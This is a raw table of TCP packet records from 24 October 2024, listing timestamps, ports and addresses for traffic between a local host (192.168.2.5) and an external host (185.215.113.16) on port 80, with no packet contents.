Oct 24, 2024 19:29:28.178836107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178864002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178905010 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178906918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178947926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.178951025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.178980112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179008961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179035902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179048061 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179075956 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179078102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179122925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179152012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179178953 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179193974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179207087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179219007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179236889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179265022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179292917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179308891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179335117 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179347038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179374933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179403067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179430962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179441929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179459095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179471970 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179486990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179516077 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179542065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179562092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.179569960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.179583073 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.196674109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.196749926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.196763039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.196806908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.196841955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.196878910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.196897030 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.196913958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.196927071 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.196954012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.196989059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197025061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197042942 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.197067976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197069883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.197103977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197138071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197171926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197186947 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.197210073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197226048 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.197247028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.197288036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.198628902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198666096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198700905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198750973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.198754072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198796988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.198807001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198842049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198884010 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.198893070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198926926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198964119 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.198971987 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.198997021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199047089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199080944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199090004 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.199115038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199137926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.199166059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199198961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199208975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.199234009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199268103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199302912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199331999 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.199357033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.199372053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199407101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199440956 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199456930 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.199475050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199508905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199543953 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.199552059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.199599028 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.205959082 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.292865992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.292928934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.292967081 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.292996883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293001890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293039083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293088913 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293090105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293127060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293140888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293176889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293212891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293236971 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293246984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293298960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293349981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293349981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293385983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293397903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293416977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293462038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293467045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293503046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293534994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293571949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293581963 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293617964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293622017 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293652058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293688059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293720961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293730974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293766022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293775082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293826103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293859005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293884039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293888092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293931007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.293939114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.293975115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.294008017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.294044971 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.294044971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.294059038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.294091940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.294102907 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.294121981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.294130087 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.294158936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.294254065 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.294348001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.349184036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.380840063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.380896091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.380932093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.380939007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.380969048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381006956 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381059885 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.381544113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381578922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381597996 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.381617069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381669998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381705046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381714106 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.381740093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381748915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.381776094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381829023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381863117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381874084 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.381900072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381906986 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.381953955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.381988049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382021904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382031918 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382061958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382062912 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382097006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382133007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382162094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382175922 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382206917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382213116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382247925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382281065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382323027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382334948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382373095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382384062 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382407904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382461071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382504940 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382513046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382548094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382560015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382582903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382616997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382661104 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382668018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382702112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382713079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382735968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382786036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382819891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382822990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382854939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382862091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382889986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382925034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382958889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.382968903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.382992983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383001089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383028984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383061886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383105993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383112907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383147955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383158922 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383184910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383234978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383268118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383280993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383301973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383310080 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383382082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383415937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383426905 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383451939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383485079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383527994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383536100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383573055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383589983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383626938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383660078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383693933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383699894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383738041 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383744001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383779049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383816004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383825064 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383867979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383900881 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.383944988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.383954048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384005070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384051085 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384057045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384090900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384099960 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384124994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384176970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384211063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384221077 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384253979 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384263039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384300947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384332895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384361982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384366035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384401083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384402990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384434938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384469986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384474993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384524107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384573936 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384576082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384628057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384660959 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384670973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384713888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384747028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384756088 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384798050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384831905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384865046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384879112 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384902000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384922981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.384936094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.384970903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385010958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385025024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385054111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385071993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385087013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385130882 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385138988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385173082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385205984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385238886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385251045 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385274887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385281086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385307074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385340929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385373116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385385990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385407925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385416031 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385442019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385477066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385509014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385516882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385551929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385585070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385595083 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385620117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385626078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385652065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385685921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385696888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385720968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385754108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385768890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385790110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385843039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385864973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385875940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385909081 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385916948 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.385943890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.385978937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386012077 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386020899 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386045933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386070013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386080027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386113882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386148930 CEST	80	49725	185.215.113.16	192.168.2.5
